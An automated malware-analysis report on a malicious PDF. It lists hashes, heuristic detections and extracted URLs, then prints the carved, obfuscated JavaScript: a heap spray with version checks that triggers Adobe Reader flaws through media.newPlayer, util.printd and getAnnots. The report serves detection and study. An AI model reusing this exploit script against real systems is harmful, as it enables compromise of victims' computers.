Malicious PDF — malware analysis report

Static analysis result for SHA-256 e91bbe206fe63d9f…

MALICIOUS

PDF

18.8 KB Created: 2009-12-17 03:14:38 +08:00 Authoring application: PScript5.dll Version 5.2 (via Acrobat Distiller 7.0.5 (Windows)) First seen: 2012-06-30
MD5: 2cd7cd9138ffe80e388355577bb0cbd1 SHA-1: 41234191e5e83f33175b2443c5f02e8912b52cc6 SHA-256: e91bbe206fe63d9f9dea721e85238bd7e1edfe8fd6e924849b31bac2ef8f807a
120 Risk Score

Malware Insights

MITRE ATT&CK
T1059.001 PowerShell

The PDF file contains embedded JavaScript, indicated by the PDF_JAVASCRIPT and PDF_JS heuristics. The ML classifier also flagged this PDF as malicious with high confidence. The embedded JavaScript file, 'javascript_obj0034_000.js', is likely responsible for executing malicious code, potentially downloading a second-stage payload. The presence of XFA forms and duplicate object bodies are structural anomalies that do not directly indicate malicious intent but contribute to the overall suspicious nature of the file.

Machine Learning

  • Nyx PDF Classifier malicious score 0.9995

Heuristics 7

  • JavaScript action low 2 related findings PDF_JAVASCRIPT
    PDF contains a /JavaScript action. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • Obfuscated multi-stage PDF JavaScript heap-spray exploit critical CVE related PDF_JS_OBFUSCATED_MULTISTAGE_HEAPSPRAY
    PDF JavaScript hidden behind nested stream filters and/or a custom in-JS decoder (rolling-XOR stager) decodes to a heap-spray / ROP chain. The spray is only visible after unwinding those layers, which is why the raw heap-spray rules miss it. This is an obfuscated multi-stage Adobe Reader JavaScript exploit; the dropped Windows payload (often named Win.Trojan.Agent by signature AV) is the second stage, not the delivery mechanism.
  • Embedded JS stream low PDF_JS
    PDF references a /JS stream. Generic JavaScript is common in benign forms; specific dangerous APIs are scored by separate rules.
  • XFA form low PDF_XFA
    PDF uses XML Forms Architecture — can contain script logic
  • Object number defined twice with different bodies info PDF_DUPLICATE_OBJ_BODY_INCREMENTAL
    The same indirect object (N G) is defined more than once with different body bytes. First-wins and last-wins readers will resolve different content, which is a parser-confusion shape used by targeted PDFs. Body-only differences are common in benign incremental updates, so severity is raised only when the duplicate carries active content.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.w3.org/1999/xhtml In PDF document text
    • http://www.xfa.org/schema/xfa-data/1.0/In PDF document text
    • http://www.w3.org/1999/02/22-rdf-syntax-ns#In PDF document text
    • http://ns.adobe.com/pdf/1.3/In PDF document text
    • http://ns.adobe.com/xap/1.0/In PDF document text
    • http://purl.org/dc/elements/1.1/In PDF document text
    • http://ns.adobe.com/xap/1.0/mm/In PDF document text

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
javascript_obj0034_000.js pdf-javascript-stream PDF /JS object 34 at offset 0x3819 8658 bytes
SHA-256: 3b0ab69270eac3b80e5dc9c7ebef7d7cf84754bc7e59d49b7516afff0217b2c5
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 2 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
var asdfghjklasdfghjklasdfghjkl = app.viewerVersion;
var qazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfv = unescape;
var sasasdfdsewrewrewrwerewrewrewrrewrewrewrew=Array;

var lkjlkdsfkjlewrkjlewrlewrjkelwjrklejrkljewrlkjewrklsdfjdlksjflkddsfpoiuwersdfdsfsdxfdsfsxcvcxvdsfdfewzvvxcv = qazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfv("\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc\x25\x75cccc"); //1
var xvccvldsfpewirpewirpdsfdsfscvsddsfewrwepodsfdlkiweropiewrewrdsfdsfasdzxcvadsqwepoiikfdsfdscxfcdsdsfdsfdsfewr = qazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfv("\x25\x75\x30\x630\x63\x25\x75\x30\x630\x63"); //2
var wwsfsdfdsfxcfsjkljlsfjklewriopsdfdsfkjkljsfsdxvcdsfewrewrsdfsczfsdfwepooiwerewrewrewrsdfsdfxcvxcvcxvsdfewrewrewfsdkhjiyuzxvc = qazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfv("\x25\x750c\x30c\x25\x750c0c\x25\x750c\x30c\x25\x750c0c\x25\x750c0c\x25\x750c0c\x25\x750c0c\x25\x750c0c%u4141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141\x25\x754141");

while(xvccvldsfpewirpewirpdsfdsfscvsddsfewrwepodsfdlkiweropiewrewrdsfdsfasdzxcvadsqwepoiikfdsfdscxfcdsdsfdsfdsfewr.length <= 33768) xvccvldsfpewirpewirpdsfdsfscvsddsfewrwepodsfdlkiweropiewrewrdsfdsfasdzxcvadsqwepoiikfdsfdscxfcdsdsfdsfdsfewr+=xvccvldsfpewirpewirpdsfdsfscvsddsfewrwepodsfdlkiweropiewrewrdsfdsfasdzxcvadsqwepoiikfdsfdscxfcdsdsfdsfdsfewr;
xvccvldsfpewirpewirpdsfdsfscvsddsfewrwepodsfdlkiweropiewrewrdsfdsfasdzxcvadsqwepoiikfdsfdscxfcdsdsfdsfdsfewr = xvccvldsfpewirpewirpdsfdsfscvsddsfewrwepodsfdlkiweropiewrewrdsfdsfasdzxcvadsqwepoiikfdsfdscxfcdsdsfdsfdsfewr.substring(0,33768 - lkjlkdsfkjlewrkjlewrlewrjkelwjrklejrkljewrlkjewrklsdfjdlksjflkddsfpoiuwersdfdsfsdxfdsfsxcvcxvdsfdfewzvvxcv.length);
me=new sasasdfdsewrewrewrwerewrewrewrrewrewrewrew();
for(poqwewiruewursdssf=0;poqwewiruewursdssf<0x888;poqwewiruewursdssf++) {
	me[poqwewiruewursdssf]= xvccvldsfpewirpewirpdsfdsfscvsddsfewrwepodsfdlkiweropiewrewrdsfdsfasdzxcvadsqwepoiikfdsfdscxfcdsdsfdsfdsfewr + lkjlkdsfkjlewrkjlewrlewrjkelwjrklejrkljewrlkjewrklsdfjdlksjflkddsfpoiuwersdfdsfsdxfdsfsxcvcxvdsfdfewzvvxcv;
}

if(((asdfghjklasdfghjklasdfghjkl >= 8.0) && (asdfghjklasdfghjklasdfghjkl <= 8.107)) || ((asdfghjklasdfghjklasdfghjkl >= 9.0) && (asdfghjklasdfghjklasdfghjkl <= 9.2)))
{    
   try {this["\x6d\x65\x64\x69\x61"]["\x6e\x65\x77\x50\x6c\x61\x79\x65\x72"](null);} catch(er) {qazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfvqazwsxedcrfv("\x25\x750c\x30c\x25\x750c\x30c\x25\x750c\x30c\x25\x750c\x30c\x25\x750c\x30c\x25\x750c\x30c");util["\x70\x72\x69\x6e\x74\x64"](wwsfsdfdsfxcfsjkljlsfjklewriopsdfdsfkjkljsfsdxvcdsfewrewrsdfsczfsdfwepooiwerewrewrewrsdfsdfxcvxcvcxvsdfewrewrewfsdkhjiyuzxvc, new Date());}
}
else if((asdfghjklasdfghjklasdfghjkl >= 7.0) && (asdfghjklasdfghjklasdfghjkl <= 7.101))
{    
    var qwertyuiopasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjkl = -1023217728;
    this.getAnnots({nFilterBy:qwertyuiopasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjklasdfghjkl});
}

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